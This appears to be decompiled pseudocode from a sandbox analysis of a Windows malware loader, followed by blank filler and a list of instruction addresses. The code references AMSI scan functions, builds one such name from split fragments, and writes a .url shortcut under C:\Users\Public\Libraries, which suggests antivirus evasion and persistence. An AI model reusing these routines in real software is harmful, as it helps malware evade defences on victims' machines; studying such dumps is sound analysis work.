								_push(_v2404);
								_t5794 =  *0x2de28a0; // 0xeca1b38
								E02CB47B0( &_v2416, _t5794, 0x2cd6c14);
								E02CB4698( &_v2412, E02CB4964(_v2416));
								_pop(_t6825);
								E02CC7B74(_v2412, _t6825);
								E02CB4698( &_v2420, "C:\\Windows\\SysWOW64");
								_t4541 = E02CB7E64(_v2420);
								__eflags = _t4541;
								if(_t4541 == 0) {
									goto L32;
								} else {
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("Initialize");
									E02CB4824();
									E02CB4698( &_v2424, E02CB4964(_v2428));
									_push(_v2424);
									_t5795 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v2436, _t5795, 0x2cd6c14);
									E02CB4698( &_v2432, E02CB4964(_v2436));
									_pop(_t6831);
									E02CC7B74(_v2432, _t6831);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("OpenSession");
									E02CB4824();
									E02CB4698( &_v2440, E02CB4964(_v2444));
									_push(_v2440);
									_t5796 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v2452, _t5796, 0x2cd6c14);
									E02CB4698( &_v2448, E02CB4964(_v2452));
									_pop(_t6836);
									E02CC7B74(_v2448, _t6836);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push("ScanBuffer");
									E02CB4824();
									E02CB4698( &_v2456, E02CB4964(_v2460));
									_push(_v2456);
									_t5797 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v2468, _t5797, 0x2cd6c14);
									E02CB4698( &_v2464, E02CB4964(_v2468));
									_pop(_t6841);
									E02CC7B74(_v2464, _t6841);
									 *0x2de287c = E02CB3694(1);
									 *[fs:eax] = _t7218;
									E02CB2F08(0x64);
									E02CB7974( &_v2472);
									_t4591 =  *0x2de287c; // 0xec7f190
									 *((intOrPtr*)( *_t4591 + 0x38))( *[fs:eax], 0x2cd251d, _t7217);
									_push(0x2cd6c14);
									_push( *0x2de28a0);
									_push(0x2cd6ff4);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push("acS");
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push("can");
									E02CB4824();
									E02CB4698( &_v2476, E02CB4964(_v2480));
									_push(_v2476);
									_t5799 =  *0x2de28a0; // 0xeca1b38
									E02CB47B0( &_v2488, _t5799, 0x2cd6c14);
									E02CB4698( &_v2484, E02CB4964(_v2488));
									_pop(_t6849);
									E02CC7B74(_v2484, _t6849);
									E02CB4824();
									E02CB4698( &_v2492, E02CB4964(_v2496));
									_t4612 =  *0x2de287c; // 0xec7f190
									 *((intOrPtr*)( *_t4612 + 0x74))(0, 0, 0, 0, 0, 0, 0, 0x2cd6fd4, 0, 0, 0, 0, 0, 0, 0, 0x2cd6fc8, 0x2cd6eec,  *0x2de2874);
									__eflags = 0;
									_t6853 = 0x2cd6fbc;
									 *[fs:eax] = _t6853;
									_push(0x2cd2524);
									_t4615 =  *0x2de287c; // 0xec7f190
									return E02CB36C4(_t4615);
								}
							}
						}
					} else {
						_push("C:\\Users\\Public\\");
						_push( *0x2de28c4);
						_push(".url");
						E02CB4824();
						E02CB4698( &_v1656, E02CB4964(_v1660));
						if(E02CB7E40(_v1656) != 0) {
							goto L28;
						} else {
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("UacInitialize");
							E02CB4824();
							E02CB4698( &_v1664, E02CB4964(_v1668));
							_push(_v1664);
							_t5803 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1676, _t5803, 0x2cd6c14);
							E02CB4698( &_v1672, E02CB4964(_v1676));
							_pop(_t6860); // executed
							E02CC7B74(_v1672, _t6860); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v1680, E02CB4964(_v1684));
							_push(_v1680);
							_t5804 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1692, _t5804, 0x2cd6c14);
							E02CB4698( &_v1688, E02CB4964(_v1692));
							_pop(_t6865); // executed
							E02CC7B74(_v1688, _t6865); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1696, E02CB4964(_v1700));
							_push(_v1696);
							_t5805 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1708, _t5805, 0x2cd6c14);
							E02CB4698( &_v1704, E02CB4964(_v1708));
							_pop(_t6870); // executed
							E02CC7B74(_v1704, _t6870); // executed
							_push( *0x2de2874);
							_push(0x2cd6eec);
							_push( *0x2de28c4);
							E02CB4824();
							E02CB4698(0x2de28c0, E02CB4964(_v1712));
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1716, E02CB4964(_v1720));
							_push(_v1716);
							_t5806 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1728, _t5806, 0x2cd6c14);
							E02CB4698( &_v1724, E02CB4964(_v1728));
							_pop(_t6877); // executed
							E02CC7B74(_v1724, _t6877); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("Initialize");
							E02CB4824();
							E02CB4698( &_v1732, E02CB4964(_v1736));
							_push(_v1732);
							_t5807 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1744, _t5807, 0x2cd6c14);
							E02CB4698( &_v1740, E02CB4964(_v1744));
							_pop(_t6882); // executed
							E02CC7B74(_v1740, _t6882); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanBuffer");
							E02CB4824();
							E02CB4698( &_v1748, E02CB4964(_v1752));
							_push(_v1748);
							_t5808 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1760, _t5808, 0x2cd6c14);
							E02CB4698( &_v1756, E02CB4964(_v1760));
							_pop(_t6887); // executed
							E02CC7B74(_v1756, _t6887); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1764, E02CB4964(_v1768));
							_push(_v1764);
							_t5809 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1776, _t5809, 0x2cd6c14);
							E02CB4698( &_v1772, E02CB4964(_v1776));
							_pop(_t6892); // executed
							E02CC7B74(_v1772, _t6892); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v1780, E02CB4964(_v1784));
							_push(_v1780);
							_t5810 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1792, _t5810, 0x2cd6c14);
							E02CB4698( &_v1788, E02CB4964(_v1792));
							_pop(_t6897); // executed
							E02CC7B74(_v1788, _t6897); // executed
							_push("C:\\\\Users\\\\Public\\\\Libraries\\\\");
							_push( *0x2de28c4);
							_push(0x2cd6f20);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x2cd6f2c);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0x2cd6f38);
							E02CB4824();
							E02CB4698(0x2de27e4, E02CB4964(_v1796));
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("UacScan");
							E02CB4824();
							E02CB4698( &_v1800, E02CB4964(_v1804));
							_push(_v1800);
							_t5811 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1812, _t5811, 0x2cd6c14);
							E02CB4698( &_v1808, E02CB4964(_v1812));
							_pop(_t6904); // executed
							E02CC7B74(_v1808, _t6904); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanBuffer");
							E02CB4824();
							E02CB4698( &_v1816, E02CB4964(_v1820));
							_push(_v1816);
							_t5812 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1828, _t5812, 0x2cd6c14);
							E02CB4698( &_v1824, E02CB4964(_v1828));
							_pop(_t6909); // executed
							E02CC7B74(_v1824, _t6909); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("Initialize");
							E02CB4824();
							E02CB4698( &_v1832, E02CB4964(_v1836));
							_push(_v1832);
							_t5813 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1844, _t5813, 0x2cd6c14);
							E02CB4698( &_v1840, E02CB4964(_v1844));
							_pop(_t6914); // executed
							E02CC7B74(_v1840, _t6914); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v1848, E02CB4964(_v1852));
							_push(_v1848);
							_t5814 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1860, _t5814, 0x2cd6c14);
							E02CB4698( &_v1856, E02CB4964(_v1860));
							_pop(_t6919); // executed
							E02CC7B74(_v1856, _t6919); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1864, E02CB4964(_v1868));
							_push(_v1864);
							_t5815 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1876, _t5815, 0x2cd6c14);
							E02CB4698( &_v1872, E02CB4964(_v1876));
							_pop(_t6924); // executed
							E02CC7B74(_v1872, _t6924); // executed
							_t6925 =  *0x2de27e4; // 0xec93448
							E02CB4DA4( &_v1880, _t6925);
							_push(_v1880);
							_t6926 =  *0x2de2870; // 0x7fbf0018
							E02CB4DA4( &_v1888, _t6926);
							E02CB4728( &_v1884, _v1888);
							_pop(_t6928); // executed
							E02CCCAB0(_v1884, _t5627, _t6928, _t7215); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1892, E02CB4964(_v1896));
							_push(_v1892);
							_t5816 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1904, _t5816, 0x2cd6c14);
							E02CB4698( &_v1900, E02CB4964(_v1904));
							_pop(_t6933); // executed
							E02CC7B74(_v1900, _t6933); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v1908, E02CB4964(_v1912));
							_push(_v1908);
							_t5817 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1920, _t5817, 0x2cd6c14);
							E02CB4698( &_v1916, E02CB4964(_v1920));
							_pop(_t6938); // executed
							E02CC7B74(_v1916, _t6938); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1924, E02CB4964(_v1928));
							_push(_v1924);
							_t5818 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1936, _t5818, 0x2cd6c14);
							E02CB4698( &_v1932, E02CB4964(_v1936));
							_pop(_t6943); // executed
							E02CC7B74(_v1932, _t6943); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanBuffer");
							E02CB4824();
							E02CB4698( &_v1940, E02CB4964(_v1944));
							_push(_v1940);
							_t5819 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1952, _t5819, 0x2cd6c14);
							E02CB4698( &_v1948, E02CB4964(_v1952));
							_pop(_t6948); // executed
							E02CC7B74(_v1948, _t6948); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("Initialize");
							E02CB4824();
							E02CB4698( &_v1956, E02CB4964(_v1960));
							_push(_v1956);
							_t5820 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1968, _t5820, 0x2cd6c14);
							E02CB4698( &_v1964, E02CB4964(_v1968));
							_pop(_t6953); // executed
							E02CC7B74(_v1964, _t6953); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanBuffer");
							E02CB4824();
							E02CB4698( &_v1972, E02CB4964(_v1976));
							_push(_v1972);
							_t5821 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v1984, _t5821, 0x2cd6c14);
							E02CB4698( &_v1980, E02CB4964(_v1984));
							_pop(_t6958); // executed
							E02CC7B74(_v1980, _t6958); // executed
							 *0x2de287c = E02CB3694(1);
							_push(_t7217);
							_push(0x2cd188e);
							_push( *[fs:eax]);
							 *[fs:eax] = _t7218;
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v1988, E02CB4964(_v1992));
							_push(_v1988);
							_t5822 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v2000, _t5822, 0x2cd6c14);
							E02CB4698( &_v1996, E02CB4964(_v2000));
							_pop(_t6964); // executed
							E02CC7B74(_v1996, _t6964); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v2004, E02CB4964(_v2008));
							_push(_v2004);
							_t5823 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v2016, _t5823, 0x2cd6c14);
							E02CB4698( &_v2012, E02CB4964(_v2016));
							_pop(_t6969); // executed
							E02CC7B74(_v2012, _t6969); // executed
							_t4940 =  *0x2de287c; // 0xec7f190
							 *((intOrPtr*)( *_t4940 + 0x38))();
							E02CB4824();
							_t4943 =  *0x2de287c; // 0xec7f190
							 *((intOrPtr*)( *_t4943 + 0x38))(0x2cd6f74,  *0x2de27e4, "URL=file:\"");
							E02CB2F08(0x3a);
							E02CB7974( &_v2028);
							E02CB47B0( &_v2024, _v2028, "IconIndex=");
							_t4951 =  *0x2de287c; // 0xec7f190
							 *((intOrPtr*)( *_t4951 + 0x38))();
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v2032, E02CB4964(_v2036));
							_push(_v2032);
							_t5828 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v2044, _t5828, 0x2cd6c14);
							E02CB4698( &_v2040, E02CB4964(_v2044));
							_pop(_t6980); // executed
							E02CC7B74(_v2040, _t6980); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v2048, E02CB4964(_v2052));
							_push(_v2048);
							_t5829 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v2060, _t5829, 0x2cd6c14);
							E02CB4698( &_v2056, E02CB4964(_v2060));
							_pop(_t6985); // executed
							E02CC7B74(_v2056, _t6985); // executed
							E02CB2F08(0x63);
							E02CB7974( &_v2068);
							E02CB47B0( &_v2064, _v2068, "HotKey=");
							_t4987 =  *0x2de287c; // 0xec7f190
							 *((intOrPtr*)( *_t4987 + 0x38))();
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("ScanString");
							E02CB4824();
							E02CB4698( &_v2072, E02CB4964(_v2076));
							_push(_v2072);
							_t5832 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v2084, _t5832, 0x2cd6c14);
							E02CB4698( &_v2080, E02CB4964(_v2084));
							_pop(_t6993); // executed
							E02CC7B74(_v2080, _t6993); // executed
							_push(0x2cd6c14);
							_push( *0x2de28a0);
							_push("OpenSession");
							E02CB4824();
							E02CB4698( &_v2088, E02CB4964(_v2092));
							_push(_v2088);
							_t5833 =  *0x2de28a0; // 0xeca1b38
							E02CB47B0( &_v2100, _t5833, 0x2cd6c14);
							E02CB4698( &_v2096, E02CB4964(_v2100));
							_pop(_t6998); // executed
							E02CC7B74(_v2096, _t6998); // executed
							E02CB4824();
							E02CB4698( &_v2104, E02CB4964(_v2108));
							_t5022 =  *0x2de287c; // 0xec7f190
							 *((intOrPtr*)( *_t5022 + 0x74))(0, 0, 0, 0, 0x2cd6fb0, 0, 0, 0, 0, 0x2cd6fa4,  *0x2de28c4, "C:\\Users\\Public\\");
							_t7002 = 0x2cd6fbc;
							 *[fs:eax] = _t7002;
							_push(0x2cd1895);
							_t5025 =  *0x2de287c; // 0xec7f190
							return E02CB36C4(_t5025); // executed
						}
					}
				}
			}





















































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































                                    0x02ccd85c
                                    0x02ccd85c
                                    0x02ccd85c
                                    0x02ccd85d
                                    0x02ccd85f
                                    0x02ccd864
                                    0x02ccd864
                                    0x02ccd866
                                    0x02ccd868
                                    0x02ccd868
                                    0x02ccd86b
                                    0x02ccd86c
                                    0x02ccd874
                                    0x02ccd875
                                    0x02ccd87a
                                    0x02ccd87d
                                    0x02ccd880
                                    0x02ccd885
                                    0x02ccd88c
                                    0x02ccd8a9
                                    0x02ccd88e
                                    0x02ccd898
                                    0x02ccd898
                                    0x02ccd8ae
                                    0x02ccd8b3
                                    0x02ccd8b9
                                    0x02ccd8c6
                                    0x02ccd8d8
                                    0x02ccd8e0
                                    0x02ccd8e4
                                    0x02ccd8ef
                                    0x02ccd901
                                    0x02ccd909
                                    0x02ccd90a
                                    0x02ccd90f
                                    0x02ccd914
                                    0x02ccd91a
                                    0x02ccd927
                                    0x02ccd939
                                    0x02ccd941
                                    0x02ccd945
                                    0x02ccd950
                                    0x02ccd962
                                    0x02ccd96a
                                    0x02ccd96b
                                    0x02ccd970
                                    0x02ccd975
                                    0x02ccd97b
                                    0x02ccd988
                                    0x02ccd99a
                                    0x02ccd9a2
                                    0x02ccd9a6
                                    0x02ccd9b1
                                    0x02ccd9c3
                                    0x02ccd9cb
                                    0x02ccd9cc
                                    0x02ccd9d9
                                    0x02ccd9e1
                                    0x02ccd9ea
                                    0x02ccd9f2
                                    0x02ccd9f3
                                    0x02ccda00
                                    0x02ccda08
                                    0x02ccda11
                                    0x02ccda19
                                    0x02ccda1a
                                    0x02ccda27
                                    0x02ccda2f
                                    0x02ccda38
                                    0x02ccda40
                                    0x02ccda41
                                    0x02ccda4e
                                    0x02ccda56
                                    0x02ccda5f
                                    0x02ccda67
                                    0x02ccda68
                                    0x02ccda75
                                    0x02ccda7d
                                    0x02ccda86
                                    0x02ccda8e
                                    0x02ccda8f
                                    0x02ccda9c
                                    0x02ccdaa4
                                    0x02ccdaad
                                    0x02ccdab5
                                    0x02ccdab6
                                    0x02ccdac3
                                    0x02ccdacb
                                    0x02ccdad4
                                    0x02ccdadc
                                    0x02ccdadd
                                    0x02ccdaea
                                    0x02ccdaf2
                                    0x02ccdafb
                                    0x02ccdb03
                                    0x02ccdb04
                                    0x02ccdb11
                                    0x02ccdb19
                                    0x02ccdb22
                                    0x02ccdb2a
                                    0x02ccdb2b
                                    0x02ccdb38
                                    0x02ccdb40
                                    0x02ccdb49
                                    0x02ccdb51
                                    0x02ccdb52
                                    0x02ccdb62
                                    0x02ccdb6d
                                    0x02ccdb79
                                    0x02ccdb84
                                    0x02ccdb85
                                    0x02ccdb95
                                    0x02ccdba0
                                    0x02ccdbac
                                    0x02ccdbb7
                                    0x02ccdbb8
                                    0x02ccdbbd
                                    0x02ccdbc2
                                    0x02ccdbc7
                                    0x02ccdbcd
                                    0x02ccdbdd
                                    0x02ccdbf5
                                    0x02ccdc00
                                    0x02ccdc07
                                    0x02ccdc12
                                    0x02ccdc2a
                                    0x02ccdc35
                                    0x02ccdc36
                                    0x02ccdc3b
                                    0x02ccdc40
                                    0x02ccdc46
                                    0x02ccdc56
                                    0x02ccdc6e
                                    0x02ccdc79
                                    0x02ccdc80
                                    0x02ccdc8b
                                    0x02ccdca3
                                    0x02ccdcae
                                    0x02ccdcaf
                                    0x02ccdcb4
                                    0x02ccdcb9
                                    0x02ccdcbf
                                    0x02ccdccf
                                    0x02ccdce7
                                    0x02ccdcf2
                                    0x02ccdcf9
                                    0x02ccdd04
                                    0x02ccdd1c
                                    0x02ccdd27
                                    0x02ccdd28
                                    0x02ccdd2d
                                    0x02ccdd32
                                    0x02ccdd38
                                    0x02ccdd48
                                    0x02ccdd60
                                    0x02ccdd6b
                                    0x02ccdd72
                                    0x02ccdd7d
                                    0x02ccdd95
                                    0x02ccdda0
                                    0x02ccdda1
                                    0x02ccddc8
                                    0x02ccddcd
                                    0x02ccddd2
                                    0x02ccddd8
                                    0x02ccdde8
                                    0x02ccde00
                                    0x02ccde0b
                                    0x02ccde12
                                    0x02ccde1d
                                    0x02ccde35
                                    0x02ccde40
                                    0x02ccde41
                                    0x02ccde4c
                                    0x02ccde57
                                    0x02ccde69
                                    0x02ccdefd
                                    0x02ccdf02
                                    0x02ccdf08
                                    0x02ccdf18
                                    0x02ccdf30
                                    0x02ccdf3b
                                    0x02ccdf42
                                    0x02ccdf4d
                                    0x02ccdf65
                                    0x02ccdf70
                                    0x02ccdf71
                                    0x02ccdf80
                                    0x02ccde6f
                                    0x02ccde6f
                                    0x02ccde74
                                    0x02ccde7a
                                    0x02ccde8a
                                    0x02ccdea2
                                    0x02ccdead
                                    0x02ccdeb4
                                    0x02ccdebf
                                    0x02ccded7
                                    0x02ccdee2
                                    0x02ccdee3
                                    0x02ccdeed
                                    0x02ccdef3
                                    0x02ccdef3
                                    0x02ccdf8d
                                    0x02ccdf9d
                                    0x02ccdfa2
                                    0x02ccdfa7
                                    0x02ccdfad
                                    0x02ccdfbd
                                    0x02ccdfd5
                                    0x02ccdfe0
                                    0x02ccdfe7
                                    0x02ccdff2
                                    0x02cce00a
                                    0x02cce015
                                    0x02cce016
                                    0x02cce01b
                                    0x02cce020
                                    0x02cce026
                                    0x02cce036
                                    0x02cce04e
                                    0x02cce059
                                    0x02cce060
                                    0x02cce06b
                                    0x02cce083
                                    0x02cce08e
                                    0x02cce08f
                                    0x02cce094
                                    0x02cce099
                                    0x02cce09f
                                    0x02cce0af
                                    0x02cce0c7
                                    0x02cce0d2
                                    0x02cce0d9
                                    0x02cce0e4
                                    0x02cce0fc
                                    0x02cce107
                                    0x02cce108
                                    0x02cce10d
                                    0x02cce112
                                    0x02cce118
                                    0x02cce128
                                    0x02cce140
                                    0x02cce14b
                                    0x02cce152
                                    0x02cce15d
                                    0x02cce175
                                    0x02cce180
                                    0x02cce181
                                    0x02cce190
                                    0x02cce195
                                    0x02cce19a
                                    0x02cce1a0
                                    0x02cce1b0
                                    0x02cce1c8
                                    0x02cce1d3
                                    0x02cce1da
                                    0x02cce1e5
                                    0x02cce1fd
                                    0x02cce208
                                    0x02cce209
                                    0x02cce20e
                                    0x02cce213
                                    0x02cce219
                                    0x02cce229
                                    0x02cce241
                                    0x02cce24c
                                    0x02cce253
                                    0x02cce25e
                                    0x02cce276
                                    0x02cce281
                                    0x02cce282
                                    0x02cce287
                                    0x02cce28c
                                    0x02cce292
                                    0x02cce2a2
                                    0x02cce2ba
                                    0x02cce2c5
                                    0x02cce2cc
                                    0x02cce2d7
                                    0x02cce2ef
                                    0x02cce2fa
                                    0x02cce2fb
                                    0x02cce300
                                    0x02cce312
                                    0x02cce31d
                                    0x02cce322
                                    0x02cce324
                                    0x02cce966
                                    0x02cce96b
                                    0x02cce971
                                    0x02cce981
                                    0x02cce999
                                    0x02cce9a4
                                    0x02cce9ab
                                    0x02cce9b6
                                    0x02cce9ce
                                    0x02cce9d9
                                    0x02cce9da
                                    0x02cce9e9
                                    0x02cce9ee
                                    0x02cce9f3
                                    0x02cce9f9
                                    0x02ccea09
                                    0x02ccea21
                                    0x02ccea2c
                                    0x02ccea33
                                    0x02ccea3e
                                    0x02ccea56
                                    0x02ccea61
                                    0x02ccea62
                                    0x02ccea67
                                    0x02ccea6c
                                    0x02ccea72
                                    0x02ccea82
                                    0x02ccea9a
                                    0x02cceaa5
                                    0x02cceaac
                                    0x02cceab7
                                    0x02cceacf
                                    0x02cceada
                                    0x02cceadb
                                    0x02cceae6
                                    0x02cceaec
                                    0x02cceafd
                                    0x02cceb0d
                                    0x02cceb12
                                    0x02cceb17
                                    0x02cceb1d
                                    0x02cceb2d
                                    0x02cceb45
                                    0x02cceb50
                                    0x02cceb57
                                    0x02cceb62
                                    0x02cceb7a
                                    0x02cceb85
                                    0x02cceb86
                                    0x02cceb8b
                                    0x02cceb90
                                    0x02cceb96
                                    0x02cceba6
                                    0x02ccebbe
                                    0x02ccebc9
                                    0x02ccebd0
                                    0x02ccebdb
                                    0x02ccebf3
                                    0x02ccebfe
                                    0x02ccebff
                                    0x02ccec0f
                                    0x02ccec14
                                    0x02ccec21
                                    0x02ccec27
                                    0x02ccec2c
                                    0x02ccec31
                                    0x02ccec37
                                    0x02ccec47
                                    0x02ccec5f
                                    0x02ccec6a
                                    0x02ccec71
                                    0x02ccec7c
                                    0x02ccec94
                                    0x02ccec9f
                                    0x02cceca0
                                    0x02cceca5
                                    0x02ccecaa
                                    0x02ccecb0
                                    0x02ccecc0
                                    0x02ccecd8
                                    0x02ccece3
                                    0x02ccecea
                                    0x02ccecf5
                                    0x02cced0d
                                    0x02cced18
                                    0x02cced19
                                    0x02cced1e
                                    0x02cced23
                                    0x02cced29
                                    0x02cced39
                                    0x02cced51
                                    0x02cced5c
                                    0x02cced63
                                    0x02cced6e
                                    0x02cced86
                                    0x02cced91
                                    0x02cced92
                                    0x02cceda1
                                    0x02ccedb0
                                    0x02ccedb5
                                    0x02ccedba
                                    0x02ccedc0
                                    0x02ccedd0
                                    0x02ccede8
                                    0x02ccedf3
                                    0x02ccedfa
                                    0x02ccee05
                                    0x02ccee1d
                                    0x02ccee28
                                    0x02ccee29
                                    0x02ccee2e
                                    0x02ccee33
                                    0x02ccee39
                                    0x02ccee49
                                    0x02ccee61
                                    0x02ccee6c
                                    0x02ccee73
                                    0x02ccee7e
                                    0x02ccee96
                                    0x02cceea1
                                    0x02cceea2
                                    0x02cceea7
                                    0x02cceeac
                                    0x02cceeb1
                                    0x02cceeb3
                                    0x02cceeb9
                                    0x02cceebe
                                    0x02cceec4
                                    0x02cceed4
                                    0x02cceeec
                                    0x02cceef7
                                    0x02cceefe
                                    0x02ccef09
                                    0x02ccef21
                                    0x02ccef2c
                                    0x02ccef2d
                                    0x02ccef32
                                    0x02ccef37
                                    0x02ccef3d
                                    0x02ccef4d
                                    0x02ccef65
                                    0x02ccef70
                                    0x02ccef77
                                    0x02ccef82
                                    0x02ccef9a
                                    0x02ccefa5
                                    0x02ccefa6
                                    0x02ccefab
                                    0x02ccefb0
                                    0x02ccefbd
                                    0x02ccefc2
                                    0x02ccefd2
                                    0x02ccefd7
                                    0x02ccefdc
                                    0x02ccefe2
                                    0x02cceff2
                                    0x02ccf00a
                                    0x02ccf015
                                    0x02ccf01c
                                    0x02ccf027
                                    0x02ccf03f
                                    0x02ccf04a
                                    0x02ccf04b
                                    0x02ccf050
                                    0x02ccf055
                                    0x02ccf05b
                                    0x02ccf06b
                                    0x02ccf083
                                    0x02ccf08e
                                    0x02ccf095
                                    0x02ccf0a0
                                    0x02ccf0b8
                                    0x02ccf0c3
                                    0x02ccf0c4
                                    0x02ccf0c9
                                    0x02ccf0ce
                                    0x02ccf0d4
                                    0x02ccf0e4
                                    0x02ccf0fc
                                    0x02ccf107
                                    0x02ccf10e
                                    0x02ccf119
                                    0x02ccf131
                                    0x02ccf13c
                                    0x02ccf13d
                                    0x02ccf142
                                    0x02ccf147
                                    0x02ccf14d
                                    0x02ccf15d
                                    0x02ccf175
                                    0x02ccf180
                                    0x02ccf187
                                    0x02ccf192
                                    0x02ccf1aa
                                    0x02ccf1b5
                                    0x02ccf1b6
                                    0x02ccf1bb
                                    0x02ccf1c0
                                    0x02ccf1c6
                                    0x02ccf1d6
                                    0x02ccf1ee
                                    0x02ccf1f9
                                    0x02ccf200
                                    0x02ccf20b
                                    0x02ccf223
                                    0x02ccf22e
                                    0x02ccf22f
                                    0x02ccf234
                                    0x02ccf239
                                    0x02ccf23f
                                    0x02ccf24f
                                    0x02ccf267
                                    0x02ccf272
                                    0x02ccf279
                                    0x02ccf284
                                    0x02ccf29c
                                    0x02ccf2a7
                                    0x02ccf2a8
                                    0x02ccf2b2
                                    0x02ccf2b7
                                    0x02ccf2bc
                                    0x02ccf2be
                                    0x02ccf2c4
                                    0x02ccf2c9
                                    0x02ccf2cf
                                    0x02ccf2df
                                    0x02ccf2f7
                                    0x02ccf302
                                    0x02ccf309
                                    0x02ccf314
                                    0x02ccf32c
                                    0x02ccf337
                                    0x02ccf338
                                    0x02ccf33d
                                    0x02ccf342
                                    0x02ccf348
                                    0x02ccf358
                                    0x02ccf370
                                    0x02ccf37b
                                    0x02ccf382
                                    0x02ccf38d
                                    0x02ccf3a5
                                    0x02ccf3b0
                                    0x02ccf3b1
                                    0x02ccf3b6
                                    0x02ccf3b8
                                    0x02ccf3bd
                                    0x02ccf3c2
                                    0x02ccf3c8
                                    0x02ccf3d8
                                    0x02ccf3f0
                                    0x02ccf3fb
                                    0x02ccf402
                                    0x02ccf40d
                                    0x02ccf425
                                    0x02ccf430
                                    0x02ccf431
                                    0x02ccf436
                                    0x02ccf43b
                                    0x02ccf441
                                    0x02ccf451
                                    0x02ccf469
                                    0x02ccf474
                                    0x02ccf47b
                                    0x02ccf486
                                    0x02ccf49e
                                    0x02ccf4a9
                                    0x02ccf4aa
                                    0x02ccf4ba
                                    0x02ccf4ca
                                    0x02ccf4cf
                                    0x02ccf4d4
                                    0x02ccf4da
                                    0x02ccf4ea
                                    0x02ccf502
                                    0x02ccf50d
                                    0x02ccf514
                                    0x02ccf51f
                                    0x02ccf537
                                    0x02ccf542
                                    0x02ccf543
                                    0x02ccf548
                                    0x02ccf54d
                                    0x02ccf553
                                    0x02ccf563
                                    0x02ccf57b
                                    0x02ccf586
                                    0x02ccf58d
                                    0x02ccf598
                                    0x02ccf5b0
                                    0x02ccf5bb
                                    0x02ccf5bc
                                    0x02ccf5c1
                                    0x02ccf5c3
                                    0x02ccf5d9
                                    0x02ccf5e1
                                    0x02ccf5e6
                                    0x02ccf5ec
                                    0x02ccf5fc
                                    0x02ccf614
                                    0x02ccf61f
                                    0x02ccf626
                                    0x02ccf631
                                    0x02ccf649
                                    0x02ccf654
                                    0x02ccf655
                                    0x02ccf65a
                                    0x02ccf65f
                                    0x02ccf665
